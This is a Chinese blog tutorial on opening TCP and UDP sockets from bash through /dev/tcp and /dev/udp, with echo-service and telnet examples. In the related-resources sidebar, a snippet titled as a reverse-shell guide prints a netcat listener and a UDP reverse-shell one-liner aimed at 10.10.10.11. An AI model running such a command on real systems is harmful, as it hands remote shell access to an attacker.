`
tcspecial
  • 浏览: 911488 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

shell 实现tcp/udp通信

    博客分类:
  • OS
阅读更多

      Linux下通信调试非常方便,系统提供了大量的网络调试工具,如 tcpdump,nc,lsof,netstat 可以快速调试tcp,udp服务。看到一篇文章shell 不借助上述工具,通过重定向也可实现通信,太神奇了。

      Linux 下特殊文件,/dev/[tcp|udp/host/port , 只要读取该文件,系统会建立与host:port的socket连接,达到通信的目的,类似于命令 nc host port 。

      

[scada@linux ~]$ exec 8<> /dev/tcp/localhost/echo  # exec连接echo服务,在/proc/self/fd显示连接
[scada@linux ~]$ ll /proc/self/fd
总用量 0
lrwx------. 1 scada scada 64 10月 11 09:52 0 -> /dev/pts/3
lrwx------. 1 scada scada 64 10月 11 09:52 1 -> /dev/pts/3
lrwx------. 1 scada scada 64 10月 11 09:52 2 -> /dev/pts/3
lr-x------. 1 scada scada 64 10月 11 09:52 3 -> /proc/34388/fd
lrwx------. 1 scada scada 64 10月 11 09:52 8 -> socket:[294041]
[scada@linux ~]$ exec 8>&-    # close(8)

    

[scada@linux ~]$ cat 8<> /dev/tcp/localhost/echo    # tcp方式连接系统echo服务(fd=8),然后可以收发信息。echo代表端口7,可通过查询: cat /etc/services | grep echo 
hello world
hello world

[scada@linux ~]$ ps -ef|grep cat   # 查找cat pid
scada    34277 34175  0 09:41 pts/3    00:00:00 cat
scada    34310 34251  0 09:44 pts/4    00:00:00 grep cat
[scada@linux ~]$ lsof -p 34277    # 查看cat资源使用情况
COMMAND   PID  USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
cat     34322 scada    0u   CHR  136,3      0t0      6 /dev/pts/3
cat     34322 scada    1u   CHR  136,3      0t0      6 /dev/pts/3
cat     34322 scada    2u   CHR  136,3      0t0      6 /dev/pts/3
cat     34322 scada    8u  IPv4 293428      0t0    TCP linux.kettas:57967->linux.kettas:echo (ESTABLISHED)    # 与xinetd建立tcp连接

[scada@linux ~]$ cat 8<> /dev/udp/localhost/echo   # udp方式连接echo服务,nc -u localhost 7
hello world
hello world

[scada@linux sh]$ (echo -e "HEAD / HTTP/1.1\n\n\n\n\n";sleep 2)|telnet www.baidu.com 80   # telnet连接百度服务器,并请求服务器头信息
Trying 180.97.33.108...
Connected to www.baidu.com.
Escape character is '^]'.
HTTP/1.1 302 Moved Temporarily
Date: Sat, 11 Oct 2014 02:04:56 GMT
Content-Type: text/html
Content-Length: 215
Connection: Keep-Alive

 

   原文: http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

 

分享到:
评论

相关推荐

    TCP/UDP网络调试工具(9个)

    8. **UDP Test Tool**:专门针对UDP协议设计的测试工具,可以发送和接收UDP数据包,用于测试UDP通信的稳定性和性能。对于开发基于UDP的应用,这是一个很好的辅助工具。 9. **Serial Port Monitor (SPM)**:除了TCP/...

    TCP/IP协议原理

    TCP/IP(Transmission Control Protocol/Internet Protocol)是一组用于实现互联网通信的标准协议集。它不仅定义了数据在网络中的传输方式,还规定了如何控制数据包的发送与接收。TCP/IP协议在现代互联网中占据着...

    TCP/IP协议详解

    TCP/IP协议是互联网通信的基础,它是一组标准的通信协议集合,使得不同设备、操作系统之间的网络数据交换变得可能。这个协议族包括了多个层次的协议,每个层次负责不同的通信任务,确保信息准确、高效地传输。 TCP...

    TCP/IP pdf 下载

    - **UDP**:无连接的协议,不保证数据的可靠传输,但速度快,适用于实时通信等场景。 3. **网络层**:主要功能是负责数据包的路由选择,确保数据包能够从源主机发送到目的主机。该层的核心协议是IP(Internet ...

    TCP/IP详解 卷一:协议

    《TCP/IP详解 卷一:协议》是网络通信领域的一部权威著作,由Richard Stevens撰写,谢希仁教授等翻译,对于深入理解TCP/IP协议族至关重要。本书详细讲解了网络层、传输层以及应用层的各种协议,是网络工程师、程序员...

    tcp/ip协议分层

    TCP/IP协议分层是互联网通信的基础,它将复杂的网络通信过程划分为多个层次,每个层次负责不同的功能,以实现高效、可靠的通信。下面将详细介绍这些层次及其主要协议和功能。 **第二章TCP/IP** 2.2 TCP/IP的网络...

    TCP/IP 端口号详解

    TCP/IP协议族是现代互联网的基础,它通过分层的方式将复杂的网络通信分解为可管理的部分。每一层都有其特定的功能和任务,通过这些层次之间的协同工作,确保了数据在网络中的高效、可靠传输。了解TCP/IP协议族及其...

    大学计算机专业课程合集(6本).zip 汇编语言教程 C语言教程 数据结构 操作系统教程 TCP/IP网络协议基础 Linux教程

    - TCP和UDP:传输层协议的区别,TCP的三次握手和四次挥手,拥塞控制。 - DNS:域名解析机制。 - HTTP、FTP等应用层协议:Web通信和文件传输原理。 6. **Linux教程**: Linux是一种广泛使用的开源操作系统。主要...

    TCP_IP 技术大全.rar PDF格式

    这一层的功能主要由应用层的某些协议实现,如SSH(Secure Shell)和SSL/TLS(Secure Sockets Layer/Transport Layer Security)提供安全的通信。 5. **表示层**:处理数据的编码和解码,如加密、解密、字符集转换等...

    1.TCP_IP简略.pptx

    TCP/IP协议是互联网通信的基础,它为不同网络设备之间的数据传输提供了一套标准。这个简略的TCP/IP介绍适合没有基础的入门者学习。TCP/IP通常被认为是一个四层协议系统,包括链路层、网络层、传输层和应用层。 **...

    反弹shell1

    UDP反弹Shell与TCP类似,但使用UDP协议。攻击者同样在本地监听,如`nc -u -lvp 443`,然后在目标机器上,执行如`sh -i &gt;& /dev/udp/10.10.10.11/443 0&gt;&1`这样的命令,将Shell输出通过UDP发送。 4. **Lua脚本反弹...

    易语言-HP-Socket 5.5.1 rc2 源码+模块+例程(新增了可靠 UDP 组件!!!)

    HP-Socket 是一套通用的高性能 TCP/UDP/HTTP 通信框架,包含服务端组件、客户端组件和Agent组件,广泛适用于各种不同应用场景的 TCP/UDP/HTTP 通信系统,提供 C/C++、C#、Delphi、E(易语言)、Java、Python 等编程...

    TCP.docx

    SSH(Secure Shell)是用于安全远程登录的协议,使用 TCP 协议作为传输层协议,端口号为 22。 Telnet 是用于远程登录的协议,使用 TCP 协议作为传输层协议,端口号为 23。 DNS(Domain Name System)是用于域名...

    超强安卓调试助手Atools

    局域网唤醒WOL TCP/UDP调试 经典蓝牙串口 BLE蓝牙串口 蓝牙IBeacon HTTP客户端 HTTP服务器 网 络流量查看 无线ADB SHELL SSH TELNET 外置蓝牙GPS SSH隧道 WIFI数据线 局域网扫描 其他工具: Sqlite数据库管理 ...

    TCP-IP技术大全.zip

    虽然TCP/IP协议栈中没有直接对应此层的协议,但SSH(Secure Shell)和SSL/TLS(Secure Sockets Layer/Transport Layer Security)等协议可以视为会话层服务的实现。 5. 应用层(Application Layer):这一层提供了...

    TCP IP协议

    TCP/IP协议集还包括其他多个协议,如UDP(User Datagram Protocol),这是一种无连接的传输协议,适用于对实时性要求较高的应用,如音频、视频流媒体,因为它不进行连接建立和数据确认,所以速度较快但可靠性较低。...

    计算机中心常用端口含义病毒

    - **协议:** TCP/UDP - **功能:** 是一种点对点文件分享协议,允许用户高效地分发大文件。 **4. IRC (Internet Relay Chat)** - **端口号:** 194、1080 - **协议:** TCP - **功能:** 提供实时聊天服务,支持多用户...

    易语言-HP-Socket 5.5.1 rc2 源码+模块+例程

    HP-Socket 是一套通用的高性能 TCP/UDP/HTTP 通信框架,包含服务端组件、客户端组件和Agent组件,广泛适用于各种不同应用场景的 TCP/UDP/HTTP 通信系统,提供 C/C++、C#、Delphi、E(易语言)、Java、Python 等编程...

Global site tag (gtag.js) - Google Analytics